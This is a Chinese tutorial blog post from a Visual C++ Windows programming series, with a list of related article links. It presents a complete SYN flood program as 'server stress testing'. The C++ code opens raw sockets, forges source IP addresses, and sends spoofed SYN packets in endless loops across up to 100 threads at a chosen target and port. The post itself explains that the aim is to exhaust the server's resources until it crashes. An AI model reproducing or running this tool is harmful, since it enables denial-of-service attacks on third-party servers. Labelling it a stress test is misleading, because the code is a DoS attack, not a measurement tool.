基于visual c++之windows核心编程代码分析(38)实践服务器压力测试-SYN请求
来源:互联网 发布:正规的淘宝模特公司 编辑:程序博客网 时间:2024/04/27 21:38
SYN 请求实现压力监测利用TCP协议缺陷,发送了大量伪造的TCP连接请求,使得被攻击方资源耗尽,无法及时回应或处理正常的服务请求。一个正常的TCP连接需要三次握手,首先客户端发送一个包含SYN标志的数据包,其后服务器返回一个SYN/ACK的应答包,表示客户端的请求被接受,最后客户端再返回一个确认包ACK,这样才完成TCP连接。在服务器端发送应答包后,如果客户端不发出确认,服务器会等待到超时,期间这些半连接状态都保存在一个空间有限的缓存队列中;如果大量的SYN包发到服务器端后没有应答,就会使服务器端的TCP资源迅速耗尽,导致正常的连接不能进入,甚至会导致服务器的崩溃。
我们一般开发网站项目的时候,经常需要测试服务器压力,好进行网络优化,测试服务器压力经常用到SYN监测,下面见代码分析,实现服务器压力测试。
#include <winsock2.h>#include <Ws2tcpip.h> #include <stdio.h>#pragma comment(lib,"ws2_32.lib")#define SEQ 0x28376839int threadnum,maxthread,port;char *DestIP;//目标IPvoid display(void) // 定义状态提示函数 { static int play=0;// 进度条 char *plays[12]= { " | ", " / ", " - ", " \\ ", " | ", " / ", " - ", " \\ ", " | ", " / ", " - ", " \\ ", }; printf("=%s= %d threads \r", plays[play],threadnum);play=(play==11)?0:play+1;} //定义一个tcphdr结构来存放TCP首部typedef struct tcphdr{USHORT th_sport;//16位源端口号USHORT th_dport;//16位目的端口号unsigned int th_seq;//32位序列号unsigned int th_ack;//32位确认号unsigned char th_lenres;//4位首部长度+6位保留字中的4位unsigned char th_flag;////6位标志位USHORT th_win;//16位窗口大小USHORT th_sum;//16位效验和USHORT th_urp;//16位紧急数据偏移量}TCP_HEADER; //定义一个iphdr来存放IP首部typedef struct iphdr//ip首部{ unsigned char h_verlen;//4位手部长度,和4位IP版本号 unsigned char tos;//8位类型服务 unsigned short total_len;//16位总长度 unsigned short ident;//16位标志 unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等) unsigned char ttl;//8位生存时间 unsigned char proto;//8位协议 unsigned short checksum;//ip手部效验和 unsigned int sourceIP;//伪造IP地址 unsigned int destIP;//攻击的ip地址}IP_HEADER;//TCP伪首部,用于进行TCP效验和的计算,保证TCP效验的有效性struct{unsigned long saddr;//源地址unsigned long daddr;//目的地址char mbz;//置空char ptcl;//协议类型unsigned short tcpl;//TCP长度}PSD_HEADER; //计算效验和函数,先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)//然后计算整个IP首部的二进制反码的和。USHORT checksum(USHORT *buffer, int size){unsigned long cksum=0;while(size >1) {cksum+=*buffer++;size-=sizeof(USHORT);}if(size) cksum+=*(UCHAR*)buffer;cksum=(cksum >> 16)+(cksum&0xffff);cksum+=(cksum >>16);return (USHORT)(~cksum); }DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数{SOCKET sock =NULL;int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;struct sockaddr_in sockAddr;TCP_HEADER tcpheader;IP_HEADER ipheader;char sendBuf[128];sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(sock==INVALID_SOCKET){printf("Socket failed: %d\n",WSAGetLastError());return 0;}//设置IP_HDRINCL以便自己填充IP首部ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR){ printf("Set sockopt failed: %d\n",WSAGetLastError());return 0;}//设置发送超时ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){ printf("Set sockopt time out failed: %d\n",WSAGetLastError());return 0;} //设置目标地址memset(&sockAddr,0,sizeof(sockAddr));sockAddr.sin_family=AF_INET;sockAddr.sin_addr.s_addr =inet_addr(DestIP);FakeIpNet=inet_addr(DestIP);FakeIpHost=ntohl(FakeIpNet); //填充IP首部ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));ipheader.ident = 1;ipheader.frag_and_flags = 0;ipheader.ttl = 128;ipheader.proto = IPPROTO_TCP;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);ipheader.destIP = inet_addr(DestIP); //填充TCP首部tcpheader.th_dport=htons(port);tcpheader.th_sport = htons(8080);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_ack = 0;tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);tcpheader.th_flag = 2;tcpheader.th_win = htons(16384);tcpheader.th_urp = 0;tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;PSD_HEADER.daddr=ipheader.destIP;PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP;PSD_HEADER.tcpl=htons(sizeof(tcpheader));for(;;){ SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;ipheader.checksum =0;ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);tcpheader.th_seq = htonl(SEQ+SendSEQ);tcpheader.th_sport = htons(SendSEQ);tcpheader.th_sum = 0;PSD_HEADER.saddr=ipheader.sourceIP;//把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));memcpy(sendBuf,&ipheader,sizeof(ipheader));memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);dataSize=sizeof(ipheader)+sizeof(tcpheader);ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);memcpy(sendBuf,&ipheader,sizeof(ipheader));sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); display(); }//end for Sleep(20); InterlockedExchangeAdd((long *)&threadnum,-1);return 0;}void usage(char *name){printf("\t===================SYN Flood======================\n");printf("\t==========gxisone@hotmail.com 2004/7/6========\n");printf("\tusage: %s [dest_IP] [port] [thread]\n",name);printf("\tExample: %s 192.168.1.1 80 100\n",name);}int main(int argc,char* argv[]){ if(argc!=4){usage(argv[0]);return 0;}usage(argv[1]);int ErrorCode=0;DestIP=argv[1];//取得目标主机IPport=atoi(argv[2]);//取得目标端口号maxthread=(maxthread>100)?100:atoi(argv[3]);//如果线程数大于100则把线程数设置为100WSADATA wsaData;if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){ printf("WSAStartup failed: %d\n",ErrorCode); return 0;}printf("[start]...........\nPress any key to stop!\n");while(threadnum<maxthread)//循环创建线程{ if(CreateThread(NULL,0,SynfloodThread,0,0,0)){Sleep(10); threadnum++;}}WSACleanup();printf("\n[Stopd]...........\n");return 0;}
- 基于visual c++之windows核心编程代码分析(38)实践服务器压力测试-SYN请求
- 基于visual c++之windows核心编程代码分析(36)实践SYN安全隐患监测
- 基于visual c++之windows核心编程代码分析(39)实践键盘监控测试
- 基于visual c++之windows核心编程代码分析(35)实践NT服务的框架
- 基于visual c++之windows核心编程代码分析(37)实践信息安全隐患监测-嗅探
- 基于Visual C++之Windows核心编程代码分析(2)实现Windows用户管理
- 基于visual c++之windows核心编程代码分析(61)打造自己的Windows输入法
- 基于Visual C++之Windows核心编程代码分析(2)实现Windows用户管理
- 基于Visual C++之Windows核心编程代码分析(2)实现Windows用户管理
- 基于visual c++之windows核心编程代码分析(18)远程代码注入执行
- 基于visual c++之windows核心编程代码分析(18)远程代码注入执行
- 基于visual c++之windows核心编程代码分析(22)Mapping File编程
- 基于visual c++之windows核心编程代码分析(22)Mapping File编程
- 基于visual c++之windows核心编程代码分析(30)Telnet协议编程
- 基于visual c++之windows核心编程代码分析(31)SNMP协议编程
- 基于visual c++之windows核心编程代码分析(32)HTTP协议编程
- 基于visual c++之windows核心编程代码分析(43)剿灭病毒编程
- 基于visual c++之windows核心编程代码分析(48)编程实现远程登录3389
- cocos2d-x初探学习笔记(2)--重要概念及Test例子结构
- 基于visual c++之windows核心编程代码分析(36)实践SYN安全隐患监测
- Vulnerable Web Applications
- 基于visual c++之windows核心编程代码分析(37)实践信息安全隐患监测-嗅探
- Codeforces Round #104 (Div. 2)
- 基于visual c++之windows核心编程代码分析(38)实践服务器压力测试-SYN请求
- 利用CheckedTextView在ListView中的实现多选
- Flex程序中的注释对编译后的swf文件大小无影响
- 基于visual c++之windows核心编程代码分析(39)实践键盘监控测试
- 多边形游戏
- 学位的重要性
- 2012新年第一贴
- 智能定投的最优前提:始于熊市终于牛市
- 2011,那些值得的回忆